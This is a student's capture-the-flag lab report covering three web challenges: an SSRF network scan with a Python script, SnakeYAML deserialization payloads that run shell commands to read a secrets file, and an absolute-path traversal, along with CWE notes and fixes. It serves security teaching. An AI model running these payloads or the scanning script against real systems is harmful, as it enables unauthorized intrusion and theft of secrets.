Lab report #1

SLH - Lab

Alexis Martins

November 1, 2023

Contents

1 Website 1

1.1 What information can you gather from the frontpage alone? How does the website function?

The website displays a form containing a field to enter a target email, a list of databases, a submit button to get passwords and a clear button. If we select a database without providing a target email, we simply get all the tuples of email/passwords in the selected database. It is possible to specify an email to target specifically. In the selection field for the databases, we can notice two different databases. These provide us two different sets of users and their corresponding password.

1.2 What is the IP of the databases containing the leaked logins? What information can you infer from them regarding their location? Give as much details as possible.

When we check the network tab with the developer tools, we notice there is a payload sent when we click on the button.

This is the payload for DB1 :

```
{
  "server": "192.168.111.11",
  "email": ""
}
```

This is the payload for DB2 :

```
{
  "server": "192.168.111.12",
  "email": ""
}
```

These addresses are private IP addresses from class C. We can't access it directly from our computer, but it seems to be possible through the webserver. This means the databases and the webserver are on the same private network.

1.3 The hacker has also a private database storing a secret flag. What is this flag?

```
The flag is : {"email":"flag","password":"SLH_23{M4ch1n354nd4ndr01d5}"}
```

1.4 How did you find the flag? Explain your attack clearly.

Considering the fact that the two previous servers were on a private network (I couldn't reach directly). I determined it would be possible to use the webserver as an intermediate/proxy to reach this network.

So, I did a script which changes the IP in the payload to test all the servers in the range [192.168.111.0 - 192.168.111.255]. This way I found out that the server with the IP 192.168.111.137 was UP, I knew that by check the status code in the response (code 200 - OK). I printed the content of the response and looked for something mentioning the flag.

```python
import requests

# URL of the webserver
url = "http://10.190.133.22:9002/list"

# Payload
data = {"server": "", "email": ""}

response_text = None

# IP prefix of the network
ip_prefix = "192.168.111."

# Loop through each server IP to check if it's up and running
for i in range(256):
    ip = ip_prefix + str(i)
    data["server"] = ip
    response = requests.post(url, json=data)

    # If the tested IP is up and is different from the two known ones, we
        display the response
    if response.status_code == 200:
        print(f"IP address : {ip}, is UP !")
        if ip != "192.168.111.11" and ip != "192.168.111.12":
            response_text = response.text
            print(f"Content for the IP address: {ip}:")
            print(response_text)
```

1.5 What is the CWE you exploited? Cite at least the main one.

The CWE is the CWE-918: Server-Side Request Forgery (SSRF).

2 Website 2

2.1 Listing CVEs using IntelliJ

- CVE-2023-28708 4.3 Unprotected Transport of Credentials vulnerability Results powered by Checkmarx(c) - CWE-523
- CVE-2023-20883 7.5 Uncontrolled Resource Consumption vulnerability Results powered by Checkmarx(c) - CWE-400
- CVE-2023-20863 6.5 Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') vulnerability Results powered by Checkmarx(c) - CWE-917 - CWE-400
- CVE-2023-20860 7.5 Improper Neutralization of Wildcards or Matching Symbols vulnerability Results powered by Checkmarx(c) - NVD-CWE-noinfo
- CVE-2022-38752 6.5 Out-of-bounds Write vulnerability - CWE-787 - CWE-121
- CVE-2022-1471 9.8 Deserialization of Untrusted Data vulnerability Results powered by Checkmarx(c) - CWE-502 - CWE-20

This is the one to use : CVE-2022-1471 9.8 Deserialization of Untrusted Data vulnerability. The CVSS score indicates it's highly vulnerable with a score of **9.8 out of 10**.

2.2 Exploit explained

I started by quickly reading the NIST description of the vulnerability.

> SnakeYaml's Constructor() class does not restrict types which can be instantiated during deserialization. Deserializing yaml content provided by an attacker can lead to remote code execution.

We are looking for a constructor of the SnakeYaml library. We notice it's used in the file `ImageController` inside the `parse` method. This method is used to create an `Image` object containing the information we can enter through the website (image, brightness and comment). This will be the entry point for the vulnerability. I started checking for some online documentation about this vulnerability to know what I am looking for now.

According to what I read on Foojay's website (they have a similar case to ours), I have to find a class allowing me to run arbitrary code. This is possible with the `SnakeYaml` vulnerability if we find a class executing code at the construction. Luckily for us, the class `CommandFileGenerator` does exactly what we need.

At the YAML deserialization, the program will try to create an `Image object` with our code injection in the comment section. The deserialization is initially for the Image, but we can use a particular syntax to create a `CommandFileGenerator` object. The command execution being in the constructor of this class, nothing can stop us from doing what we want (even if the real deserialization will crash).

As said in the exercise's instructions, I checked all the regular expression and other kind of conditions to be sure to pass them. The restrictions were permissive enough to let us craft the necessary payloads. Notice we could only use `ls` and `cat` commands.

That's how I started, by executing `ls` commands to find my way to the `application.properties` file. Note the particular syntax using `!!` to call a specific class and the `[]` to pass parameters.

```
!!heig.slh_24_ctf.CommandFileGenerator [ !!java.lang.String [ secretfile ],
    !!java.lang.String [ ls ] ]
```

I knew I had to find this file, because I searched a moment locally to find something interesting in the project's folder. Luckily for me, it was pretty explicit the key would be there.

After each command I had to check the output at the address `http://10.190.133.22:9004/command/secretfile` to see the output of the `ls` commands. Once I found the desired file, I switched to a `cat` command to print its content.

```
!!heig.slh_24_ctf.CommandFileGenerator [ !!java.lang.String [ secretfile ],
    !!java.lang.String [ cat app/main/resources/application.properties ] ]
```

Bingo ! This was the content I found inside. There is the secret key I need to end the challenge.

```
# Location : http://10.190.133.22:9004/command/secretfile

Generated File Content
# Server port
server.port=8080

# Secret key
secret.key=7a0346cc2f0209c32c2d94aef4468cdf

# Encrypted flag
secret.data=9yy3Cdy9YhhxSsAzPnQeBGSNuaYs+1BXxOUH0noVnUuwckTvYeUkyf4rj/
    KUawLhXojMz6eQCmGB7zWKYekAdOyPJSkKuJC2/CMIItm2vSI=

# Thymeleaf
spring.thymeleaf.prefix=classpath:/templates/
spring.thymeleaf.suffix=.html
spring.thymeleaf.cache=false
```

Finally, I used the secret recovery page at `http://10.190.133.22:9004/secret` to get the flag and here it was :

```
Nice work ! Your flag is SLH_24{xXCodeWarrior2007Xx}
```

2.3 CWEs used

According to the NIST, these are the CWEs :

- CWE-502: Deserialization of Untrusted Data
- CWE-20: Improper Input Validation

Note : Very nice flag name ! Maybe a bit cliché.

3 Website 3

3.1 Attack explanation

I started by carefully reading the Python file we had. I understood the purpose of this attack was a `Path Traversal` using the download function, because we had some fields where we can input file names to recover, and we wanted to recover a specific file in another level of the file tree. I noticed the RegEx won't allow me to do the classical Path Traversal technique using `../` and at the same time I saw this regex was allowing to use the / in the file name.

Another problem was the `os.path.join()` that was adding the upload folder at the beginning of the files. By reading the documentation of this method, I noticed it won't add the prefix `/app/upload/` if the file we requested started with /. In this case, we could pass an absolute path, and it will ignore the prefix. This means we can access directly to a file on the computer.

Finally, at the top of the file I saw the absolute path to the upload folder `/app/uploads`. The exercise's instruction told us we are looking for the file secret which is at the same level as the application. Now, I knew few elements to build up the solution :

- I knew exactly where was the file with its absolute path.
- I knew it was possible to find this file using the absolute path, because the `os.path.join()` was ineffective when we pass it an absolute path.
- I knew the RegEx allows me to input something start with /.

So that's what I tried, by entering `/app/secret.txt` in the download form. This was the message contained inside the `secret.txt` file.

```
Congrats ! The flag is SLH_24{Hackermaaaan}
```

3.2 Which CWE(s) did you exploit here?

There is mainly two CWE, we used in this exploit :

- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- CWE-20: Improper Input Validation

3.3 How to fix the problems in the code?

The first thing to do is to fix the regex testing the user input. It shouldn't allow to use / in file names.

```
Before : ^[a-zA-Z0-9/\-]+(?:\.(txt|jpg|jpeg|png|pdf))$
After : ^[a-zA-Z0-9\-]+(?:\.(txt|jpg|jpeg|png|pdf))$
```

We can combine that with a verification of `os.path.join()` output. If the output doesn't contain the prefix, we throw an error and notice the user the filename is incorrect. Finally, a good practice would be to use a relative path for the upload. This would avoid directly giving the directory to the attacker and would make things harder.

These three patches will correct what allowed me to determine the vulnerability of the program. Even if the first and second check overlap a bit, it's better to check it twice, than never.